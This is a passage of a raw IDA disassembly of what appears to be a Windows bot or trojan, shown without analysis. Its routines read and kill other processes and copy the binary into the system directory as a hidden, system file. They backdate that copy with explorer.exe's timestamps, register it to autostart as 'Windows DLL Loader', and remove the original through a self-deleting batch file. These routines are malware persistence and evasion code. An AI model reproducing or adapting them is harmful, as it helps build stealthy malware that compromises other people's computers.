var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
cmp [ebp+arg_4], 0
jz short loc_40651B
cmp [ebp+arg_C], 0
jnz short loc_406520
loc_40651B: ; CODE XREF: sub_406509+Aj
jmp locret_406641
; ---------------------------------------------------------------------------
loc_406520: ; CODE XREF: sub_406509+10j
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
push [ebp+arg_8]
call sub_40A8AD
pop ecx
mov [ebp+var_C], eax
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 180h
jbe short loc_406554
mov [ebp+var_4], 180h
loc_406554: ; CODE XREF: sub_406509+42j
mov eax, [ebp+var_4]
inc eax
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_1C], eax
push [ebp+var_8]
push 0
push 10h
call ds:dword_417094 ; OpenProcess
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_406586
push [ebp+var_1C]
call sub_416B4C ; free
pop ecx
jmp locret_406641
; ---------------------------------------------------------------------------
loc_406586: ; CODE XREF: sub_406509+6Dj
and [ebp+var_14], 0
lea eax, [ebp+var_14]
push eax
push [ebp+var_4]
push [ebp+var_1C]
push [ebp+var_C]
push [ebp+var_18]
call ds:dword_417098 ; ReadProcessMemory
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz loc_40662F
cmp [ebp+var_14], 0
jz short loc_40662F
mov eax, [ebp+var_1C]
add eax, [ebp+var_4]
and byte ptr [eax], 0
and [ebp+var_20], 0
jmp short loc_4065C9
; ---------------------------------------------------------------------------
loc_4065C2: ; CODE XREF: sub_406509:loc_406620j
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
loc_4065C9: ; CODE XREF: sub_406509+B7j
mov eax, [ebp+var_20]
cmp eax, [ebp+var_14]
jnb short loc_406622
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 0Ah
jz short loc_406617
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 0Dh
jz short loc_406617
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 1Fh
jz short loc_406617
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 16h
jz short loc_406617
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 10h
jg short loc_406620
loc_406617: ; CODE XREF: sub_406509+D4j
; sub_406509+E2j ...
mov eax, [ebp+var_1C]
add eax, [ebp+var_20]
mov byte ptr [eax], 2Eh
loc_406620: ; CODE XREF: sub_406509+10Cj
jmp short loc_4065C2
; ---------------------------------------------------------------------------
loc_406622: ; CODE XREF: sub_406509+C6j
push [ebp+var_1C]
push [ebp+arg_0]
call sub_40D53F
pop ecx
pop ecx
loc_40662F: ; CODE XREF: sub_406509+9Ej
; sub_406509+A8j
push [ebp+var_1C]
call sub_416B4C ; free
pop ecx
push [ebp+var_18]
call ds:dword_4170A4 ; CloseHandle
locret_406641: ; CODE XREF: sub_406509:loc_40651Bj
; sub_406509+78j
leave
retn
sub_406509 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jnz short loc_406650
jmp short locret_40668D
; ---------------------------------------------------------------------------
loc_406650: ; CODE XREF: sub_406643+9j
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_4], eax
call ds:dword_4170E8 ; GetCurrentProcessId
cmp [ebp+var_4], eax
jnz short loc_406669
jmp short locret_40668D
; ---------------------------------------------------------------------------
loc_406669: ; CODE XREF: sub_406643+22j
push [ebp+var_4]
push 0
push 1
call ds:dword_417094 ; OpenProcess
mov [ebp+var_8], eax
push 0
push [ebp+var_8]
call ds:dword_4170A0 ; TerminateProcess
push [ebp+var_8]
call ds:dword_4170A4 ; CloseHandle
locret_40668D: ; CODE XREF: sub_406643+Bj
; sub_406643+24j
leave
retn
sub_406643 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40668F proc near ; CODE XREF: sub_403DF3+149p
; sub_40A9CF+BDp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_4066A0
; ---------------------------------------------------------------------------
loc_406699: ; CODE XREF: sub_40668F+2Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4066A0: ; CODE XREF: sub_40668F+8j
cmp [ebp+var_4], 8
jge short loc_4066BB
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_406699
; ---------------------------------------------------------------------------
loc_4066BB: ; CODE XREF: sub_40668F+15j
mov eax, [ebp+arg_0]
and byte ptr [eax+8], 0
and [ebp+var_4], 0
jmp short loc_4066CF
; ---------------------------------------------------------------------------
loc_4066C8: ; CODE XREF: sub_40668F+59j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4066CF: ; CODE XREF: sub_40668F+37j
cmp [ebp+var_4], 6
jge short loc_4066EA
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_4066C8
; ---------------------------------------------------------------------------
loc_4066EA: ; CODE XREF: sub_40668F+44j
mov eax, [ebp+arg_4]
and byte ptr [eax+6], 0
and [ebp+var_4], 0
jmp short loc_4066FE
; ---------------------------------------------------------------------------
loc_4066F7: ; CODE XREF: sub_40668F+88j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4066FE: ; CODE XREF: sub_40668F+66j
cmp [ebp+var_4], 10h
jge short loc_406719
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_4066F7
; ---------------------------------------------------------------------------
loc_406719: ; CODE XREF: sub_40668F+73j
mov eax, [ebp+arg_8]
and byte ptr [eax+10h], 0
leave
retn
sub_40668F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p
var_424 = byte ptr -424h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 424h
cmp [ebp+arg_4], 0
jnz short loc_406736
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_406736: ; CODE XREF: sub_406722+Dj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+4]
cmp eax, 5Ch
jz short loc_406747
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_406747: ; CODE XREF: sub_406722+1Ej
push 4
push offset aHkcr ; "HKCR"
push [ebp+arg_4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_406769
mov [ebp+var_218], 80000000h
jmp short loc_4067D4
; ---------------------------------------------------------------------------
loc_406769: ; CODE XREF: sub_406722+39j
push 4
push offset aHkcu ; "HKCU"
push [ebp+arg_4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_40678B
mov [ebp+var_218], 80000001h
jmp short loc_4067D4
; ---------------------------------------------------------------------------
loc_40678B: ; CODE XREF: sub_406722+5Bj
push 4
push offset aHklm ; "HKLM"
push [ebp+arg_4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_4067AD
mov [ebp+var_218], 80000002h
jmp short loc_4067D4
; ---------------------------------------------------------------------------
loc_4067AD: ; CODE XREF: sub_406722+7Dj
push 4
push offset aHkus ; "HKUS"
push [ebp+arg_4]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_4067CF
mov [ebp+var_218], 80000003h
jmp short loc_4067D4
; ---------------------------------------------------------------------------
loc_4067CF: ; CODE XREF: sub_406722+9Fj
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_4067D4: ; CODE XREF: sub_406722+45j
; sub_406722+67j ...
mov eax, [ebp+arg_4]
add eax, 5
mov [ebp+arg_4], eax
push [ebp+arg_4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_210], eax
jmp short loc_4067FB
; ---------------------------------------------------------------------------
loc_4067EE: ; CODE XREF: sub_406722:loc_406858j
mov eax, [ebp+var_210]
dec eax
mov [ebp+var_210], eax
loc_4067FB: ; CODE XREF: sub_406722+CAj
cmp [ebp+var_210], 0
jnz short loc_406809
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_406809: ; CODE XREF: sub_406722+E0j
mov eax, [ebp+arg_4]
add eax, [ebp+var_210]
movsx eax, byte ptr [eax]
cmp eax, 5Ch
jnz short loc_406858
mov eax, [ebp+var_210]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax+1]
push eax
call sub_416B40 ; strlen
pop ecx
cmp eax, 200h
jb short loc_40683A
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_40683A: ; CODE XREF: sub_406722+111j
mov eax, [ebp+var_210]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax+1]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_40685A
; ---------------------------------------------------------------------------
loc_406858: ; CODE XREF: sub_406722+F6j
jmp short loc_4067EE
; ---------------------------------------------------------------------------
loc_40685A: ; CODE XREF: sub_406722+134j
cmp [ebp+var_210], 200h
jb short loc_40686B
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_40686B: ; CODE XREF: sub_406722+142j
push [ebp+var_210]
push [ebp+arg_4]
lea eax, [ebp+var_418]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_210]
and [ebp+eax+var_418], 0
lea eax, [ebp+var_C]
push eax
push 1
push 0
lea eax, [ebp+var_418]
push eax
push [ebp+var_218]
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
jz short loc_4068B5
jmp locret_406A21
; ---------------------------------------------------------------------------
loc_4068B5: ; CODE XREF: sub_406722+18Cj
mov [ebp+var_8], 1000h
push [ebp+var_8]
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_214], eax
lea eax, [ebp+var_8]
push eax
push [ebp+var_214]
lea eax, [ebp+var_4]
push eax
push 0
lea eax, [ebp+var_20C]
push eax
push [ebp+var_C]
call ds:dword_41700C ; RegQueryValueExA
test eax, eax
jnz loc_406A0C
cmp [ebp+var_4], 1
jz short loc_4068FF
cmp [ebp+var_4], 2
jnz short loc_406915
loc_4068FF: ; CODE XREF: sub_406722+1D5j
push [ebp+var_214]
push offset aS ; "%s"
push [ebp+arg_0]
call sub_40D53F
add esp, 0Ch
loc_406915: ; CODE XREF: sub_406722+1DBj
cmp [ebp+var_4], 4
jnz short loc_406933
mov eax, [ebp+var_214]
push dword ptr [eax]
push offset a08x ; "%08X"
push [ebp+arg_0]
call sub_40D53F
add esp, 0Ch
loc_406933: ; CODE XREF: sub_406722+1F7j
cmp [ebp+var_4], 3
jnz loc_406A0C
push 180h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_420], eax
mov eax, [ebp+var_420]
and byte ptr [eax], 0
and [ebp+var_41C], 0
jmp short loc_40696D
; ---------------------------------------------------------------------------
loc_406960: ; CODE XREF: sub_406722+2C3j
mov eax, [ebp+var_41C]
inc eax
mov [ebp+var_41C], eax
loc_40696D: ; CODE XREF: sub_406722+23Cj
mov eax, [ebp+var_41C]
cmp eax, [ebp+var_8]
jnb short loc_4069EA
mov eax, [ebp+var_214]
add eax, [ebp+var_41C]
movzx eax, byte ptr [eax]
push eax
push offset a02x ; "%02X"
lea eax, [ebp+var_424]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
push [ebp+var_420]
call sub_416B40 ; strlen
pop ecx
add eax, 3
cmp eax, 180h
jb short loc_4069D1
push [ebp+var_420]
push offset aS ; "%s"
push [ebp+arg_0]
call sub_40D53F
add esp, 0Ch
mov eax, [ebp+var_420]
and byte ptr [eax], 0
loc_4069D1: ; CODE XREF: sub_406722+28Ej
lea eax, [ebp+var_424]
push eax
push [ebp+var_420]
call sub_416B70 ; strcat
pop ecx
pop ecx
jmp loc_406960
; ---------------------------------------------------------------------------
loc_4069EA: ; CODE XREF: sub_406722+254j
push [ebp+var_420]
push offset aS ; "%s"
push [ebp+arg_0]
call sub_40D53F
add esp, 0Ch
push [ebp+var_420]
call sub_416B4C ; free
pop ecx
loc_406A0C: ; CODE XREF: sub_406722+1CBj
; sub_406722+215j
push [ebp+var_214]
call sub_416B4C ; free
pop ecx
push [ebp+var_C]
call ds:dword_417028 ; RegCloseKey
locret_406A21: ; CODE XREF: sub_406722+Fj
; sub_406722+20j ...
leave
retn
sub_406722 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp
; sub_40D871:loc_40DB71p
var_20C = byte ptr -20Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 20Ch
push 104h
lea eax, [ebp+var_20C]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset asc_418DE4 ; "\\"
lea eax, [ebp+var_20C]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
push offset dword_41DC40
lea eax, [ebp+var_104]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_104]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
lea eax, [ebp+var_20C]
push eax
call ds:dword_4170AC ; DeleteFileA
push offset dword_4182AC
lea eax, [ebp+var_20C]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_108], eax
cmp [ebp+var_108], 0
jz short locret_406AE5
push [ebp+var_108]
push 1
push 2
push offset asc_418DE0 ; ":)"
call sub_416B7C ; fwrite
add esp, 10h
push [ebp+var_108]
call sub_416B82 ; fclose
pop ecx
lea eax, [ebp+var_20C]
push eax
call sub_406B81
pop ecx
locret_406AE5: ; CODE XREF: sub_406A23+90j
leave
retn
sub_406A23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp
; sub_40D871+2F3p
var_20C = byte ptr -20Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 20Ch
push 104h
lea eax, [ebp+var_20C]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset asc_418DE4 ; "\\"
lea eax, [ebp+var_20C]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
push offset dword_41DC40
lea eax, [ebp+var_104]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_104]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
push offset aRb ; "rb"
lea eax, [ebp+var_20C]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_108], eax
cmp [ebp+var_108], 0
jz short loc_406B7D
push [ebp+var_108]
call sub_416B82 ; fclose
pop ecx
push 1
pop eax
jmp short locret_406B7F
; ---------------------------------------------------------------------------
loc_406B7D: ; CODE XREF: sub_406AE7+83j
xor eax, eax
locret_406B7F: ; CODE XREF: sub_406AE7+94j
leave
retn
sub_406AE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B81 proc near ; CODE XREF: sub_406A23+BCp
; sub_406E8E+246p
var_120 = dword ptr -120h
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 120h
push 104h
lea eax, [ebp+var_11C]
push eax
call ds:dword_417040 ; GetWindowsDirectoryA
push offset aExplorer_exe ; "\\explorer.exe"
lea eax, [ebp+var_11C]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
push 0
push 80h
push 3
push 0
push 1
push 80000000h
lea eax, [ebp+var_11C]
push eax
call ds:dword_417044 ; CreateFileA
mov [ebp+var_120], eax
cmp [ebp+var_120], 0FFFFFFFFh
jz short locret_406C4F
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push eax
push [ebp+var_120]
call ds:dword_417048 ; GetFileTime
push [ebp+var_120]
call ds:dword_4170A4 ; CloseHandle
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call ds:dword_417044 ; CreateFileA
mov [ebp+var_120], eax
cmp [ebp+var_120], 0FFFFFFFFh
jz short locret_406C4F
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push eax
push [ebp+var_120]
call ds:dword_41704C ; SetFileTime
push [ebp+var_120]
call ds:dword_4170A4 ; CloseHandle
locret_406C4F: ; CODE XREF: sub_406B81+5Aj
; sub_406B81+A8j
leave
retn
sub_406B81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C51 proc near ; CODE XREF: sub_406E8E+133p
; sub_406E8E+214p ...
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 108h
push 0
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call ds:dword_417014 ; RegCreateKeyExA
cmp [ebp+arg_0], 0
jz short loc_406CE1
push 104h
lea eax, [ebp+var_108]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset asc_418DE4 ; "\\"
lea eax, [ebp+var_108]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
push [ebp+arg_8]
lea eax, [ebp+var_108]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
lea eax, [ebp+var_108]
push eax
call ds:dword_41703C ; lstrlenA
inc eax
push eax
lea eax, [ebp+var_108]
push eax
push 1
push 0
push [ebp+arg_4]
push [ebp+var_4]
call ds:dword_417010 ; RegSetValueExA
jmp short loc_406CED
; ---------------------------------------------------------------------------
loc_406CE1: ; CODE XREF: sub_406C51+30j
push [ebp+arg_4]
push [ebp+var_4]
call ds:dword_417004 ; RegDeleteValueA
loc_406CED: ; CODE XREF: sub_406C51+8Ej
push [ebp+var_4]
call ds:dword_417028 ; RegCloseKey
leave
retn
sub_406C51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp
; sub_406E8E+253p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_C], eax
and [ebp+var_4], 0
jmp short loc_406D1D
; ---------------------------------------------------------------------------
loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_406D1D: ; CODE XREF: sub_406CF8+1Cj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jnb short loc_406D42
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 5Ch
jnz short loc_406D40
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax+1]
mov [ebp+var_8], eax
loc_406D40: ; CODE XREF: sub_406CF8+39j
jmp short loc_406D16
; ---------------------------------------------------------------------------
loc_406D42: ; CODE XREF: sub_406CF8+2Bj
mov eax, [ebp+var_8]
leave
retn
sub_406CF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D47 proc near ; CODE XREF: sub_406E8E+9p
; sub_407148+9p
var_108 = byte ptr -108h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 108h
push 104h
lea eax, [ebp+var_108]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
lea eax, [ebp+var_108]
push eax
call sub_406CF8
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and byte ptr [eax], 0
lea eax, [ebp+var_108]
push eax
call ds:dword_417038 ; SetCurrentDirectoryA
leave
retn
sub_406D47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap
; sub_407148+168p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push 8
push 4
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_20], eax
and [ebp+var_1C], 0
loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+var_1C]
mov [ebp+ecx+var_18], al
mov eax, [ebp+var_1C]
inc eax
mov [ebp+var_1C], eax
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_20]
jnz short loc_406DDF
push offset a_bat ; ".bat"
mov eax, [ebp+var_1C]
lea eax, [ebp+eax+var_18]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_406DE1
; ---------------------------------------------------------------------------
loc_406DDF: ; CODE XREF: sub_406D90+37j
jmp short loc_406DA8
; ---------------------------------------------------------------------------
loc_406DE1: ; CODE XREF: sub_406D90+4Dj
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_8], eax
push 400h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_24], eax
lea eax, [ebp+var_18]
push eax
call ds:dword_4170AC ; DeleteFileA
push 0
push 0
push 2
push 0
push 0
push 40000000h
lea eax, [ebp+var_18]
push eax
call ds:dword_417044 ; CreateFileA
mov [ebp+var_28], eax
cmp [ebp+var_28], 0FFFFFFFFh
jnz short loc_406E2B
xor eax, eax
jmp short locret_406E8C
; ---------------------------------------------------------------------------
loc_406E2B: ; CODE XREF: sub_406D90+95j
lea eax, [ebp+var_18]
push eax
push [ebp+arg_0]
push [ebp+arg_0]
push [ebp+arg_0]
push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"...
push [ebp+var_24]
call ds:dword_4171E0 ; wsprintfA
add esp, 18h
and [ebp+var_4], 0
push 0
lea eax, [ebp+var_4]
push eax
push [ebp+var_24]
call sub_416B40 ; strlen
pop ecx
push eax
push [ebp+var_24]
push [ebp+var_28]
call ds:dword_417068 ; WriteFile
push [ebp+var_28]
call ds:dword_4170A4 ; CloseHandle
push 0
push 0
push 0
lea eax, [ebp+var_18]
push eax
push offset aOpen ; "open"
push 0
call ds:dword_4171D0 ; ShellExecuteA
push 1
pop eax
locret_406E8C: ; CODE XREF: sub_406D90+99j
leave
retn
sub_406D90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406E8E proc near ; CODE XREF: .text:loc_4169E1p
var_368 = dword ptr -368h
var_338 = word ptr -338h
var_324 = byte ptr -324h
var_220 = dword ptr -220h
var_21C = byte ptr -21Ch
var_118 = byte ptr -118h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 368h
call sub_406D47
push 104h
lea eax, [ebp+var_324]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
and [ebp+var_14], 0
and [ebp+var_220], 0
jmp short loc_406ED1
; ---------------------------------------------------------------------------
loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j
mov eax, [ebp+var_220]
inc eax
mov [ebp+var_220], eax
loc_406ED1: ; CODE XREF: sub_406E8E+34j
mov eax, [ebp+var_220]
shl eax, 1
cmp off_418B88[eax*4], 0
jz loc_406FFD
mov eax, [ebp+var_14]
inc eax
mov [ebp+var_14], eax
push 104h
lea eax, [ebp+var_21C]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset asc_418DE4 ; "\\"
lea eax, [ebp+var_21C]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
lea eax, [ebp+var_21C]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
lea eax, [ebp+var_324]
push eax
lea eax, [ebp+var_21C]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz loc_406FF8
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B8C[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
mov eax, [ebp+var_220]
shl eax, 1
push off_418B8C[eax*4]
push 1
call sub_406C51
add esp, 0Ch
mov eax, [ebp+var_220]
shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
mov eax, [ebp+var_220]
shl eax, 1
push off_418B8C[eax*4]
call sub_4105AD
pop ecx
jmp locret_407146
; ---------------------------------------------------------------------------
loc_406FF8: ; CODE XREF: sub_406E8E+E3j
jmp loc_406EC4
; ---------------------------------------------------------------------------
loc_406FFD: ; CODE XREF: sub_406E8E+53j
push [ebp+var_14]
push 0
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_14], eax
push 104h
lea eax, [ebp+var_118]
push eax
call ds:dword_417050 ; GetSystemDirectoryA
push offset asc_418DE4 ; "\\"
lea eax, [ebp+var_118]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
mov eax, [ebp+var_14]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_14]
shl eax, 1
push off_418B88[eax*4]
lea eax, [ebp+var_118]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
mov eax, [ebp+var_14]
shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
lea eax, [ebp+var_118]
push eax
call ds:dword_4170AC ; DeleteFileA
loc_40707C: ; DATA XREF: .data:0041AD4Co
; .data:0041AD60o ...
push 0
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_324]
push eax
call ds:dword_417060 ; CopyFileA
test eax, eax
jnz short loc_4070AF
push offset aPacked_exe ; "packed.exe"
push offset aWindowsDllLoad ; "Windows DLL Loader"
push 1
call sub_406C51
add esp, 0Ch
jmp locret_407146
; ---------------------------------------------------------------------------
loc_4070AF: ; CODE XREF: sub_406E8E+206j
push 4
lea eax, [ebp+var_118]
push eax
call ds:dword_4170A8 ; SetFileAttributesA
push 2
lea eax, [ebp+var_118]
push eax
call ds:dword_4170A8 ; SetFileAttributesA
lea eax, [ebp+var_118]
push eax
call sub_406B81
pop ecx
lea eax, [ebp+var_324]
push eax
call sub_406CF8
pop ecx
push eax
call sub_406D90
pop ecx
push 44h
push 0
lea eax, [ebp+var_368]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_368], 44h
and [ebp+var_338], 0
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_368]
push eax
push 0
push 0
push 28h
push 1
push 0
push 0
lea eax, [ebp+var_118]
push eax
push 0
call ds:dword_41707C ; CreateProcessA
call ds:dword_417254 ; WSACleanup
push 0
call sub_416BFC ; exit
locret_407146: ; CODE XREF: sub_406E8E+165j
; sub_406E8E+21Cj
leave
retn
sub_406E8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407148 proc near ; CODE XREF: sub_402A32+7BBp
; sub_40A9CF+145Fp ...
var_20C = byte ptr -20Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 20Ch
call sub_406D47
push 104h
lea eax, [ebp+var_20C]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
and [ebp+var_108], 0
jmp short loc_407187
; ---------------------------------------------------------------------------
loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj
mov eax, [ebp+var_108]
inc eax
mov [ebp+var_108], eax
loc_407187: ; CODE XREF: sub_407148+30j
